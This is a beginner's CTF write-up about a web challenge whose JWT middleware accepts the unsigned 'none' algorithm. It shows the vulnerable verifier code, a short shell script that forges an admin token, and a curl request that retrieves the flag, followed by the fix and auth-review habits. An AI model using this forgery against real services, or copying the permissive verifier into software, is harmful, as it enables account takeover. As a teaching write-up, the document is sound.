My First CTF Web Challenge Writeup
A walkthrough of a beginner-friendly web challenge — how I read the source, what I tried first, and the small JWT misconfiguration that let the whole thing fall over.
This is the first CTF writeup I am actually publishing. The challenge was a
500-point web problem from a recent open CTF, themed as a small admin
portal with a JWT-based login. The goal was the contents of /flag on the
server.
I am keeping this writeup focused on the thought process rather than the final exploit. The exploit is small; the thinking is what generalizes.
The challenge
The portal had three routes:
POST /api/login -> issues a JWT
GET /api/profile -> returns the current user (JWT required)
GET /api/admin/flag -> returns the flag (admin only)Source was provided. The interesting part:
// auth.js
const jwt = require("jsonwebtoken");
function verifyToken(req, res, next) {
const token = req.headers.authorization?.replace("Bearer ", "");
if (!token) return res.status(401).end();
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ["HS256", "none"],
});
req.user = decoded;
next();
} catch (e) {
return res.status(401).end();
}
}The flag route checked req.user.role === "admin".
What I tried first
The instinct in web challenges is to look for the cheap path first. I went through it in this order:
- Look for the admin user. No registration endpoint, no obvious admin credential in the source. Skip.
- Look for an authorization bug. The flag route does
if (req.user.role !== "admin") return 403. Strict. Skip. - Look at how the JWT is verified. This is where the bug usually is in web challenges.
Reading the verifyToken middleware twice, the line that jumped out was:
algorithms: ["HS256", "none"]The none algorithm is a historical JWT footgun:
it means the token is unsigned and the signature segment is empty. If a
verifier accepts none, an attacker can forge any token.
Forging the token
A JWT is base64url(header).base64url(payload).signature. With alg: none
the signature is the empty string.
header='{"alg":"none","typ":"JWT"}'
payload='{"sub":"admin","role":"admin"}'
b64() { printf '%s' "$1" | basenc --base64url --wrap=0 | tr -d '='; }
token="$(b64 "$header").$(b64 "$payload")."
echo "$token"Then:
curl -H "Authorization: Bearer $token" \
https://chal.example.com/api/admin/flagFlag returned.
Why this kept working
It is tempting to say "the bug is using none". The deeper bug is passing
a list of algorithms at all. jsonwebtoken lets you constrain the
algorithm to a single value:
jwt.verify(token, secret, { algorithms: ["HS256"] });A safe verifier accepts exactly the algorithm it expects. The vulnerable
one accepted two, and none was on the list because someone was debugging
once and forgot.
What I will steal from this for the next challenge
A few habits I am formalizing after this one:
- Read the verifier before the routes. Authorization bugs hide in middleware more than in handlers.
- Grep for the algorithm name.
none,RS256/HS256confusion, andalg: ES256with the wrong key type are the three I expect to keep seeing. - Decode every token I am given. The header is the cheapest tell. If
the header has
kid, look for path traversal in the key lookup.
And the lesson for the real job
This challenge is fictional. The bug is not. I have seen the same shape in
real authorization libraries — algorithms left as a list, none accepted
because it was on the default in an older version, a parser that promotes
the algorithm field from the unverified header before checking it.
When I review a service's auth, the first question I now ask is:
"What algorithm does the verifier insist on?"
If the answer is "whatever the token says", the service is the challenge.